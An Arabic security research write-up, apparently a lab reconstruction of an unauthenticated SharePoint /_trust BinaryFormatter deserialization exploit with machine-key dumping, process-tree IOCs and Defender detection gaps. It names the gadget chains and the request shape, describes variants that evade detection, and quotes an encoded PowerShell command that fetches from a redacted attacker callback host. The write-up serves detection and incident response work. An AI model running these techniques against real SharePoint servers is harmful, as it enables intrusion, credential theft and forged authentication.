PoC وIOCs ومنطق الكشف لسلسلة إلغاء تسلسل BinaryFormatter الخاصة بـ SharePoint /_trust WS-Federation. إعادة بناء معملية تغطي RCE غير المصادق عليه، وسرقة مفتاح الجهاز داخل العملية، والآثار التي يتركها كل متغير. SharePoint 2016 و2019 وSubscription Edition. CVE-2026-50522 وCVE-2026-45659 وCVE-2026-56164 وCVE-2026-58644.
/_trust لـ SharePoint: PoC وملاحظات اكتشافتوثيق مباشر (GitHub Pages): https://sp-poc.wismansec.com/ (عرض HTML لهذا المستند).
المتأثر: SharePoint Server 2016 و2019 وSubscription Edition.
إعادة بناء لاختراق SharePoint Server (Subscription Edition) في مختبر معزول، أُنشئت بهدف (أ) فهم القدرة الكاملة للمهاجم، (ب) تحديد ما يجب على المدافع اصطياده، بما في ذلك الثبات الخفي، و(ج) مشاركة PoC لمساعدة المحققين الآخرين.
بحث مصرّح به فقط. كل ما ورد هنا نُفّذ على عتاد وحسابات مختبر معزولة مملوكة شخصيًا، ضد بناء تُرك بدون تحديثات عمدًا لأغراض الاختبار. المشكلة الأساسية أصلحها البائع؛ طبّق التحديثات الحالية. لا تشغّل هذا ضد أنظمة لا تملكها وليس لديك إذن صريح باختبارها. قيم مفاتيح الجهاز وأسماء المضيفين/عناوين IP الداخلية ونطاقات الاستدعاء منقّحة في النص والقطع الأثرية التوضيحية. لقطات شاشة SIEM غير معدّلة وتحمل الأسماء الحقيقية للمختبر؛ انظر الملاحظة في §4.
SecurityContextToken عبر BinaryFormatter في /_trustPOST /_trust/default.aspx واحد غير مُصادَق عليه (تسجيل دخول WS-Federation) يحمل SecurityContextToken خبيثًا يُطلق إلغاء تسلسل BinaryFormatter في عامل SharePoint (w3wp.exe)، مما ينتج عنه تنفيذ كود عن بُعد (RCE) بهوية تجمع تطبيق الويب./_trust يكتشفه ويحصره؛ انظر §5). تلك المفاتيح تتيح للمهاجم تزوير __VIEWSTATE/رموز مصادقة تنجو من التحديثات./_trust، وهي القطعة الأثرية الوحيدة الموجودة في كل اختلاف.يكشف SharePoint عن نقطة نهاية تسجيل دخول سلبي لـ WS-Federation على /_trust/default.aspx. استجابة تسجيل دخول مُحضَّرة (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) تضمّن SecurityContextToken يكون عنصر <Cookie> فيه دفق BinaryFormatter بترميز base64 ومضغوطًا بـ DEFLATE. على جانب الخادم، يُفك ضغط هذا الكوكي ويُلغى تسلسله دون تقييد للنوع، لذا فإن سلسلة أدوات (gadget chain) عبر ysoserial.net تنفّذ كودًا يتحكم به المهاجم داخل w3wp.exe.
هيكل الطلب (بدون مصادقة):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
| المسار | الأداة (Gadget) | التأثير | قناة الإخراج |
|---|---|---|---|
| RCE خارج النطاق (OOB) | TypeConfuseDelegate → -EncodedCommand PowerShell | تنفيذ كود بهوية التجمع | خارج النطاق (منارة HTTP/DNS) |
| كشف مفاتيح الجهاز | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (يُجمّع KeyDump.cs داخل العملية) | يفريغ ValidationKey/DecryptionKey | مضمن في استجابة HTTP |
السيناريوهات (منقّحة) في scripts/: RCE خارج النطاق ذو معاملات وتفريغ مفاتيح على مرحلتين. توصيل الحمولة يستخدم PowerShell -EncodedCommand بحيث تنجو الحمولات متعددة العبارات من طبقات cmd.exe/النقل سليمة (دون كسر في اقتباسات ;/&&).
مجموعة SharePoint SE واحدة (بناء مثبّت على نسخة ما قبل الإصلاح)، هوية تجمع التطبيق LAB\sp_pool، PowerShell 5.1، Microsoft Defender مفعّل مع الحماية السحابية. البيانات التشخيصية (سجل أحداث Windows، سجلات SharePoint، Defender for Endpoint) تُرسل إلى nano، وهو SIEM مفتوح المصدر خفيف الوزن؛ مضيف المهاجم شغّل ysoserial.net؛ عميل interactsh وفّر مستمع OOB. العناوين والنطاقات منقّحة في النص؛ انظر ملاحظة لقطة الشاشة في §4.
كل صف هو تفجير حقيقي واحد؛ القطع الأثرية مسحوبة من SIEM + مستمع OOB لكل تشغيل.
لقطات الشاشة غير معدّلة. تحمل أسماء المضيفين وNetBIOS الحقيقية للمختبر، وهي فظة وتختلف عن
SHAREPOINT01/LABالمنقّحَين المستخدمَين في النص. نفس التشغيلات، نفس الأحداث، لا شيء مُجهّز. بدائل آمنة للعمل فيartifacts/.
| الاستدعاء | شجرة العمليات (بصفة LAB\sp_pool، High) | Defender | منارة OOB | القطع الأثرية الأساسية |
|---|---|---|---|---|
| RCE خارج النطاق، افتراضي | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 كشف / 1117 إزالة) | وصلت (سباق) | شجرة 4688؛ Defender 1116/1117؛ POST على /_trust |
RCE خارج النطاق، -RawCmd | w3wp.exe → powershell.exe → conhost.exe (بدون cmd) | لا شيء | وصلت (DNS+HTTP) | شجرة 4688؛ POST على /_trust؛ منارة |
RCE خارج النطاق، -DropFile | w3wp.exe → powershell.exe | لا شيء | وصلت | كتابة ملف إلى …\TEMPLATE\LAYOUTS\ (غير موجود في سجل تدقيق الوصول إلى الكائنات) |
RCE خارج النطاق، -Diag | w3wp.exe → powershell.exe → whoami.exe | لا شيء | وصلت | تسريب كشف البيئة: {host, whoami, PSver, LanguageMode} |
| تفريغ مفاتيح الجهاز | (لا شيء، داخل العملية) | لا شيء | (لا شيء) | فقط POST على /_trust + استجابة شاذة تحمل المفاتيح |
هذه النتائج خاصة بإعداد AMSI الافتراضي (وضع Balanced، /_trust غير مفحوص). مع تفعيل فحص جسم الطلب عبر AMSI لـ /_trust (وضع Full أو مستهدف)، فإن كل صف يُحصَر بدلًا من ذلك في طبقة الطلب: HTTP 400، Exploit:Script/SpCookieExec.A، قبل التنفيذ (انظر §5).

التفجيرات الأربعة الموثقة، من 15:01 إلى 15:18 UTC، كل عملية فرعية من w3wp.exe تعمل بهوية التجمع. ثلاثة من الأربعة هي powershell.exe أُطلقت مباشرة. تشغيل 15:03:34 وحده يمر عبر cmd.exe، وهذا التشغيل وحده تم اكتشافه. إذا وسّعت النافذة بعد هذه النقطة، فستدخل تكرارات التطوير السابقة من نفس الصباح في مجموعة النتائج، لذا فإن الادعاء مقصور على هذه التشغيلات الأربعة.

الاستدعاء الافتراضي: w3wp.exe → cmd.exe → powershell.exe، مع conhost.exe إلى جانبه. هذا هو الشكل الذي يعتمد عليه Behavior:Win32/WebshellLauncher.A.

استدعاء -RawCmd، نفس البدائية ونفس الحمولة، مع إزالة القفزة عبر cmd.exe. لم يُنتج Defender أي شيء لهذا التشغيل. الكشف المبني على w3wp → cmd يفوته تمامًا.

كل حدث Defender في نافذة الـ25 دقيقة نفسها التي احتوت أربعة تفجيرات. الأحداث الثلاثة كلها تعود إلى تشغيل cmd.exe الوحيد: حدثان malware_detected بخطورة Severe، ثم malware_action_taken بإجراء Remove. المعالجة لم تسبق المنارة، التي اكتملت أولًا.
سطر أوامر رئيسي مسترجع حرفيًا من Security 4688 (الترميز ≠ مراوغة):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'
